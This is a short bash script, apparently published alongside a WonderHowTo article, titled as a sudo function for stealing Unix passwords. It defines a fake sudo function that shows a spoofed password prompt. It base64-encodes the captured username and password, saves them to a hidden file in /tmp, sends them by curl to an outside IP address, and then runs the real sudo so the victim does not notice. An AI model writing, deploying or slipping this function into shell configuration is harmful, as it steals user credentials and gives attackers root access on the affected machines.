Sudo function for stealing Unix passwords; script for WonderHowTo article

sudo

function sudo ()
{
    realsudo="$(which sudo)"
    read -s -p "[sudo] password for $USER: " inputPwd
    encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
    printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER
    curl -s "http://10.211.55.98/$encoded" > /dev/null 2>&1
    $realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
    $realsudo "${@:1}"
}